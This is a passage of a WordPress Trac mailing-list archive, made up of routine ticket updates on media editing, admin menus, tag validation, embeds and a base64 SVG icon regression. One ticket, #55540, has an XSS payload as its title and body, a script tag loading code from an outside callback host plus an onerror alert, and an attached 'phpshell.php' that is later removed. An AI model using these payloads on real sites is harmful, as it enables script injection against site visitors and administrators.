patch required a user to return an array of image sizes to use in custom size editing; I changed that so a value of 'true' can return the value of `get_intermediate_image_sizes()`, though it can be overridden to customize the values. Not requiring a custom array does mean that we don't have any custom labels for the sizes, which was a benefit to passing a custom array; but also makes it harder to turn on. -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277#comment:9> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 23:16:19 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 23:16:19 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> #28277: Add ability to apply image edits to custom image sizes -------------------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: administration -------------------------------------+----------------------------- Changes (by joedolson): * Attachment "28277.2.diff" removed. Refresh & update patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 23:16:20 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 23:16:20 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.bdf0ca2b55d7172ed349258b9bfcd347@wordpress.org> #28277: Add ability to apply image edits to custom image sizes -------------------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-patch needs-refresh | Focuses: administration -------------------------------------+----------------------------- Changes (by joedolson): * Attachment "28277.2.diff" added. Update & refresh patch. -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 23:17:08 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 23:17:08 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.bcb1721c0099ed37ba1c45a222f01f9c@wordpress.org> #28277: Add ability to apply image edits to custom image sizes -------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-patch | Focuses: administration -------------------------+----------------------------- Changes (by joedolson): * keywords: has-patch needs-refresh => has-patch -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 23:17:28 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 23:17:28 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.c25ac4dd9debb197f5b7a995bd165fc5@wordpress.org> #28277: Add ability to apply image edits to custom image sizes -------------------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration -------------------------------------+----------------------------- Changes (by joedolson): * keywords: has-patch => has-patch needs-testing -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 23:20:01 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 23:20:01 -0000 Subject: [wp-trac] [WordPress Trac] #28277: Add ability to apply image edits to custom image sizes In-Reply-To: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> References: <050.5da3f53cb013ad64e6f574988d50be5b@wordpress.org> Message-ID: <065.b261bc451a927fff1b162c683157f9ab@wordpress.org> #28277: Add ability to apply image edits to custom image sizes -------------------------------------+----------------------------- Reporter: silb3r | Owner: joedolson Type: enhancement | Status: accepted Priority: normal | Milestone: 6.0 Component: Media | Version: 4.0 Severity: normal | Resolution: Keywords: has-patch needs-testing | Focuses: administration -------------------------------------+----------------------------- Comment (by joedolson): To test: - This patch does not enable the feature; it adds a filter to enable it. Before applying the patch, you can switch the value `$edit_custom_sizes = false;` to `true`. - Go to edit a media item and select an option to apply sizes to. - Verify that the edits were applied to the expected sizes. -- Ticket URL: <https://core.trac.wordpress.org/ticket/28277#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Wed Apr 6 23:23:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Wed, 06 Apr 2022 23:23:34 -0000 Subject: [wp-trac] [WordPress Trac] #35483: Accessibility improvements for the Bulk Edit form In-Reply-To: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> References: <051.87a7aaace03b7b3e0228eb25eaedecae@wordpress.org> Message-ID: <066.46d4010414039015c8244193e6d194b9@wordpress.org> #35483: Accessibility improvements for the Bulk Edit form -------------------------------------+------------------------------------- Reporter: afercia | Owner: afercia Type: defect (bug) | Status: assigned Priority: normal | Milestone: 6.0 Component: Quick/Bulk Edit | Version: Severity: normal | Resolution: Keywords: has-screenshots title- | Focuses: ui, accessibility, attribute has-patch commit | javascript -------------------------------------+------------------------------------- Changes (by joedolson): * keywords: has-screenshots title-attribute has-patch 2nd-opinion => has- screenshots title-attribute has-patch commit -- Ticket URL: <https://core.trac.wordpress.org/ticket/35483#comment:31> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 00:21:44 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 00:21:44 -0000 Subject: [wp-trac] [WordPress Trac] #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security In-Reply-To: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> References: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> Message-ID: <068.6191fa4e052def1de90b8bd8803aa543@wordpress.org> #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security --------------------------+------------------------------ Reporter: ReneHermi | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by peterwilsoncc): * component: General => Security Comment: Thanks for the report @ReneHermi This seems like a bug with mod security, I can see their developers [https://github.com/SpiderLabs/owasp-modsecurity-crs/pull/1662 merged a fix] last year reduce the false positives. Are you able to provide the following: * is this issue occurring on the current release of mod security? * if a password begins with `0x...` does the module prevent users logging in? -- Ticket URL: <https://core.trac.wordpress.org/ticket/55536#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 00:25:37 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 00:25:37 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.3f39cdb5431ee8bf7bf54a13917d4e08@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration testing | -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * Attachment "47018.4.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 00:31:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 00:31:17 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.876b2f2a7d628b4c17d51bf010da24d4@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration testing | -------------------------------------+------------------------------------- Comment (by peterwilsoncc): In [attachment:"47018.4.diff"] I've removed all changes except those in `tags.js` and the associated ajax action. * `validateForm` is used throughout the admin so trimming could cause false errors on other forms * the CSS change will also affect other invalid forms so should be done on dedicated ticket * removed the new `wp-a11y` dependency for inclusion in #55537. -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 01:52:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 01:52:30 -0000 Subject: [wp-trac] [WordPress Trac] #40927: Passing a float as the position in add_menu_page can override other menu items In-Reply-To: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> References: <054.3952f5b90c4dd00f8f2ab13814b18548@wordpress.org> Message-ID: <069.1b91654a16aa62a7ea54932bff733c67@wordpress.org> #40927: Passing a float as the position in add_menu_page can override other menu items -------------------------------------------------+------------------------- Reporter: justinbusa | Owner: | SergeyBiryukov Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Administration | Version: 4.8 Severity: normal | Resolution: Keywords: has-patch dev-feedback needs- | Focuses: testing has-unit-tests | administration -------------------------------------------------+------------------------- Comment (by peterwilsoncc): @costdev @SergeyBiryukov @audrasjb I've created a much simpler [https://github.com/WordPress/wordpress-develop/pull/2479 pull request #2479] to allow for the numerous plugins passing the position as a float. * I've removed the new `_doing_it_wrong` so it can be dealt with later/discussed * `null` or a non-numeric string append new menu to final position * reordered collision detection, made it a little faster with an order of operations change * tests are passing, which is nice Additionally, in the commit [https://github.com/WordPress/wordpress- develop/pull/2479/commits/ceebb6a8c40236316c0fe845d15f92ff23a3c9c2 ceebb6a8c] I've modified the code for `add_submenu_page` to be consistent with the add_menu_page changes on this ticket. * allows floats or ints * reduces cases in which the doing it wrong added in [46570] for #48249 can fire * retains the completely different method submenus use for determining the position -- Ticket URL: <https://core.trac.wordpress.org/ticket/40927#comment:28> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 03:48:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 03:48:30 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.a1930b40cbae1a0aa2fbbe080ec46210@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: peterwilsoncc Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Taxonomy | Version: 5.1.1 Severity: normal | Resolution: fixed Keywords: has-screenshots input- | Focuses: ui, accessibility, validation has-patch needs- | javascript, administration testing | -------------------------------------+------------------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53088" 53088]: {{{ #!CommitTicketReference repository="" revision="53088" Taxonomy: Show error message for terms without a name. Display an error message to users if they attempt to create a term without a name via the admin-ajax `add-tag` action. This improves the accessibility of the screen by avoiding the use of color alone to indicate an error. Props conner_bw, birgire, afercia. Fixes #47018. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/47018#comment:25> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 04:04:45 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 04:04:45 -0000 Subject: [wp-trac] [WordPress Trac] #55052: The tag field hangs the browsers when you have a bunch of tags In-Reply-To: <055.ffd625f03bbb2276bdda71a686361572@wordpress.org> References: <055.ffd625f03bbb2276bdda71a686361572@wordpress.org> Message-ID: <070.d92e643acf0cd08951c85017df4e5b15@wordpress.org> #55052: The tag field hangs the browsers when you have a bunch of tags ------------------------------+---------------------------- Reporter: pikamander2 | Owner: peterwilsoncc Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Editor | Version: Severity: critical | Resolution: fixed Keywords: has-patch commit | Focuses: performance ------------------------------+---------------------------- Changes (by peterwilsoncc): * owner: (none) => peterwilsoncc * status: new => closed * resolution: => fixed Comment: In [changeset:"53089" 53089]: {{{ #!CommitTicketReference repository="" revision="53089" Editor: Limit display of tags on classic editor. On the classic editor, limit the search of tags and non-hierarchical taxonomies to twenty results. This in turn prevents an unbounded database query via an AJAX request. Props pikamander2, costdev, azouamauriac, audrasjb. Fixes #55052. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55052#comment:26> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 05:07:05 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 05:07:05 -0000 Subject: [wp-trac] [WordPress Trac] #53212: add post_type-specific version of the register_post_type_args filter In-Reply-To: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> References: <050.9272e3495e02d50f60b170dffa0cf8e0@wordpress.org> Message-ID: <065.5c5392ac683f461623ffd1c2908d0899@wordpress.org> #53212: add post_type-specific version of the register_post_type_args filter -------------------------------------------------+------------------------- Reporter: pbiron | Owner: dlh Type: enhancement | Status: assigned Priority: normal | Milestone: 6.0 Component: Posts, Post Types | Version: Severity: normal | Resolution: Keywords: needs-dev-note needs-docs has-patch | Focuses: has-unit-tests | -------------------------------------------------+------------------------- Comment (by dlh): Well, it wasn't quite `early`, but a PR for these hooks is now available here: https://github.com/WordPress/wordpress-develop/pull/2527 Feedback welcome, particularly on the location of the tests. If the consensus is that it's too late to consider all four hooks for 6.0, then I'll be happy to create a separate PR for just the hook originally proposed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53212#comment:17> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 06:55:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 06:55:51 -0000 Subject: [wp-trac] [WordPress Trac] #55528: Register a oEmbed handler for YouTube Shorts In-Reply-To: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> References: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> Message-ID: <074.c12dd3c86a6c0ad79dec7d6d4b355395@wordpress.org> #55528: Register a oEmbed handler for YouTube Shorts ------------------------------+--------------------- Reporter: danielbachhuber | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Embeds | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: ------------------------------+--------------------- Changes (by mukesh27): * keywords: has-patch needs-testing => has-patch commit Comment: Hi there! I have tested the patch and it working fine and embed shorts youtube videos. Please check attached screenshot for more information about testing The patch is ready to `commit` -- Ticket URL: <https://core.trac.wordpress.org/ticket/55528#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 06:56:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 06:56:18 -0000 Subject: [wp-trac] [WordPress Trac] #55528: Register a oEmbed handler for YouTube Shorts In-Reply-To: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> References: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> Message-ID: <074.4a4f6691d8223a3cf4c331632913e584@wordpress.org> #55528: Register a oEmbed handler for YouTube Shorts ------------------------------+--------------------- Reporter: danielbachhuber | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Embeds | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: ------------------------------+--------------------- Changes (by mukesh27): * Attachment "Before patch.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55528> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 06:56:25 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 06:56:25 -0000 Subject: [wp-trac] [WordPress Trac] #55528: Register a oEmbed handler for YouTube Shorts In-Reply-To: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> References: <059.ba2dd2bb0ee25af04476c1de31844b38@wordpress.org> Message-ID: <074.b4ecb293a5f83b31708f09978c0fc788@wordpress.org> #55528: Register a oEmbed handler for YouTube Shorts ------------------------------+--------------------- Reporter: danielbachhuber | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: 6.0 Component: Embeds | Version: Severity: normal | Resolution: Keywords: has-patch commit | Focuses: ------------------------------+--------------------- Changes (by mukesh27): * Attachment "After patch.png" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55528> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 07:41:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 07:41:29 -0000 Subject: [wp-trac] [WordPress Trac] #46057: Remove self-references ("we") in text in core In-Reply-To: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> References: <055.675410e1a7b30657f2327896dc28409d@wordpress.org> Message-ID: <070.ea52ef5b078fa46702735e333d039cdd@wordpress.org> #46057: Remove self-references ("we") in text in core -------------------------------------+------------------------------ Reporter: johnbillion | Owner: johnjamesjacoby Type: enhancement | Status: reopened Priority: normal | Milestone: 6.0 Component: Administration | Version: Severity: minor | Resolution: Keywords: has-patch needs-refresh | Focuses: ui-copy -------------------------------------+------------------------------ Changes (by chaion07): * keywords: has-patch needs-copy-review => has-patch needs-refresh Comment: Thanks @johnbillion for reporting this. We reviewed this ticket during a [https://wordpress.slack.com/archives/C02RQBWTW/p1649169732847149 recent bug-scrub] session. Based on the feedback received from the team we are making the following changes to the ticket: 01. Removing needs-copy-review keyword 02. Adding keyword needs-refresh 03. Rephrasing to remove we instances should just be double checked by non-English speakers to make sure they convey the same message 04. @audrasjb will try to refresh it and hopefully commit this week before Beta 01 is in effect Props to @davidbaumwald & @audrasjb Cheers! -- Ticket URL: <https://core.trac.wordpress.org/ticket/46057#comment:23> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 07:50:30 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 07:50:30 -0000 Subject: [wp-trac] [WordPress Trac] #55539: add_menu_page no longer renders base64 encoded SVG icon In-Reply-To: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> References: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> Message-ID: <068.7558ab891eda5ef937c9707ba3763565@wordpress.org> #55539: add_menu_page no longer renders base64 encoded SVG icon ----------------------------+------------------------------ Reporter: KProvance | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: Administration | Version: trunk Severity: normal | Resolution: Keywords: needs-patch | Focuses: administration ----------------------------+------------------------------ Changes (by kebbet): * keywords: => needs-patch * focuses: => administration * version: => trunk Comment: Yes, can confirm this. Works in 5.9.3, not in current `trunk`. Tested with this code. {{{#!php <?php function register_menu_with_custom_svg_icon() { //The icon in Base64 format $icon_base64 = 'PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPCEtLSBHZW5lcmF0b3I6IEFkb2JlIElsbHVzdHJhdG9yIDI2LjEuMCwgU1ZHIEV4cG9ydCBQbHVnLUluIC4gU1ZHIFZlcnNpb246IDYuMDAgQnVpbGQgMCkgIC0tPgo8c3ZnIHZlcnNpb249IjEuMSIgaWQ9IkxhZ2VyXzEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHg9IjBweCIgeT0iMHB4IgoJIHZpZXdCb3g9IjAgMCAyMCAyMCIgc3R5bGU9ImVuYWJsZS1iYWNrZ3JvdW5kOm5ldyAwIDAgMjAgMjA7IiB4bWw6c3BhY2U9InByZXNlcnZlIj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCS5zdDB7c3Ryb2tlOiNFMDEwMTA7c3Ryb2tlLXdpZHRoOjI7fQo8L3N0eWxlPgo8cGF0aCBjbGFzcz0ic3QwIiBkPSJNMCwyaDIwIE0wLDEwaDIwIE0wLDE4aDIwIi8+Cjwvc3ZnPgo='; //The icon in the data URI scheme $icon_data_uri = 'data:image/svg+xml;base64,' . $icon_base64; add_menu_page( 'Example', 'Example', 'manage_options', 'example', '', $icon_data_uri, ); } add_action( 'admin_menu', 'register_menu_with_custom_svg_icon' ); }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55539#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 07:56:15 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 07:56:15 -0000 Subject: [wp-trac] [WordPress Trac] #55539: add_menu_page no longer renders base64 encoded SVG icon In-Reply-To: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> References: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> Message-ID: <068.9332310e721e89b539cd89fcbfe4339f@wordpress.org> #55539: add_menu_page no longer renders base64 encoded SVG icon ----------------------------+----------------------------- Reporter: KProvance | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: trunk Severity: normal | Resolution: Keywords: needs-patch | Focuses: administration ----------------------------+----------------------------- Changes (by ocean90): * milestone: Awaiting Review => 6.0 Comment: This was broken by the fix for #55496 in [53050]. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55539#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 08:00:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 08:00:04 -0000 Subject: [wp-trac] [WordPress Trac] #55539: add_menu_page no longer renders base64 encoded SVG icon In-Reply-To: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> References: <053.d5a5893d33218f41e3150369f52a2087@wordpress.org> Message-ID: <068.076d01d8b37f175397890759a3f3a5a2@wordpress.org> #55539: add_menu_page no longer renders base64 encoded SVG icon ----------------------------+----------------------------- Reporter: KProvance | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Administration | Version: trunk Severity: normal | Resolution: Keywords: needs-patch | Focuses: administration ----------------------------+----------------------------- Comment (by kebbet): Changing line 132 in wp-admin/menu-header.php to {{{ $img_style = ' style="background-image:url(\'' . esc_attr( $item[6] ) . '\')"'; }}} fixes the issue. I can make a PR for this at GitHub. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55539#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 08:01:17 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 08:01:17 -0000 Subject: [wp-trac] [WordPress Trac] #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security In-Reply-To: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> References: <053.c9f3e4ee4b239210c5a6c1acc1b632c6@wordpress.org> Message-ID: <068.cea6d9b3432deb33075bb4a7d6452685@wordpress.org> #55536: Make sure wp_generate_password() never generates a string containing 0x to prevent blocking from mod_security --------------------------+------------------------------ Reporter: ReneHermi | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: Security | Version: Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+------------------------------ Changes (by ReneHermi): * status: new => closed * resolution: => invalid Comment: > is this issue occurring on the current release of mod security? I could not test this as it is a client-server > if a password begins with 0x... does the module prevent users from logging in? No, this works. I verified it a moment ago. So, this does not seem to affect the wp core as I initially thought and seems to be a rare edge case. I am closing the ticket. Thanks @peterwilsoncc -- Ticket URL: <https://core.trac.wordpress.org/ticket/55536#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 08:46:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 08:46:40 -0000 Subject: [wp-trac] [WordPress Trac] #55540: %22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fvasgrg.xss.ht%3E%3C%2Fscript%3E"><script src=https://vasgrg.xss.ht></script>"><img src=x onerror=alert()> Message-ID: <051.5dceb7f5ccc6245f18a800901eebffc9@wordpress.org> #55540: %22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fvasgrg.xss.ht%3E%3C%2Fscript%3E"><script src=https://vasgrg.xss.ht></script>"><img src=x onerror=alert()> --------------------------+------------------------------- Reporter: tttette | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.5.2 Severity: normal | Keywords: close needs-patch Focuses: privacy | --------------------------+------------------------------- %22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fvasgrg.xss.ht%3E%3C%2Fscript%3E"><script src=https://vasgrg.xss.ht></script>"><img src=x onerror=alert()> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 08:47:12 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 08:47:12 -0000 Subject: [wp-trac] [WordPress Trac] #55540: %22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fvasgrg.xss.ht%3E%3C%2Fscript%3E"><script src=https://vasgrg.xss.ht></script>"><img src=x onerror=alert()> In-Reply-To: <051.5dceb7f5ccc6245f18a800901eebffc9@wordpress.org> References: <051.5dceb7f5ccc6245f18a800901eebffc9@wordpress.org> Message-ID: <066.9680e4935fd758945297c6210606f447@wordpress.org> #55540: %22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fvasgrg.xss.ht%3E%3C%2Fscript%3E"><script src=https://vasgrg.xss.ht></script>"><img src=x onerror=alert()> -------------------------------+------------------------------ Reporter: tttette | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.5.2 Severity: normal | Resolution: Keywords: close needs-patch | Focuses: privacy -------------------------------+------------------------------ Changes (by tttette): * Attachment "phpshell.php" added. "><script src=https://vasgrg.xss.ht></script> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 08:48:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 08:48:36 -0000 Subject: [wp-trac] [WordPress Trac] #55540: %22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fvasgrg.xss.ht%3E%3C%2Fscript%3E"><script src=https://vasgrg.xss.ht></script>"><img src=x onerror=alert()> In-Reply-To: <051.5dceb7f5ccc6245f18a800901eebffc9@wordpress.org> References: <051.5dceb7f5ccc6245f18a800901eebffc9@wordpress.org> Message-ID: <051.5dceb7f5ccc6245f18a800901eebffc9@wordpress.org> #55540: %22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fvasgrg.xss.ht%3E%3C%2Fscript%3E"><script src=https://vasgrg.xss.ht></script>"><img src=x onerror=alert()> -------------------------------+------------------------------ Reporter: tttette | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.5.2 Severity: normal | Resolution: Keywords: close needs-patch | Focuses: privacy -------------------------------+------------------------------ Changes (by tttette): * Attachment "phpshell.php" removed. "><script src=https://vasgrg.xss.ht></script> -- Ticket URL: <https://core.trac.wordpress.org/ticket/55540> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Thu Apr 7 10:05:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Thu, 07 Apr 2022 10:05:50 -0000 Subject: [wp-trac] [WordPress Trac] #47018: No error message provided upon incomplete input in Tags Administration Screen In-Reply-To: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> References: <053.f1bf88ff1edccbddf10be7d2b29a23ca@wordpress.org> Message-ID: <068.aa77e6d593ff4901e5daf4033cf8b5eb@wordpress.org> #47018: No error message provided upon incomplete input in Tags Administration Screen -------------------------------------+------------------------------------- Reporter: conner_bw | Owner: peterwilsoncc Type: enhancement | Status: reopened 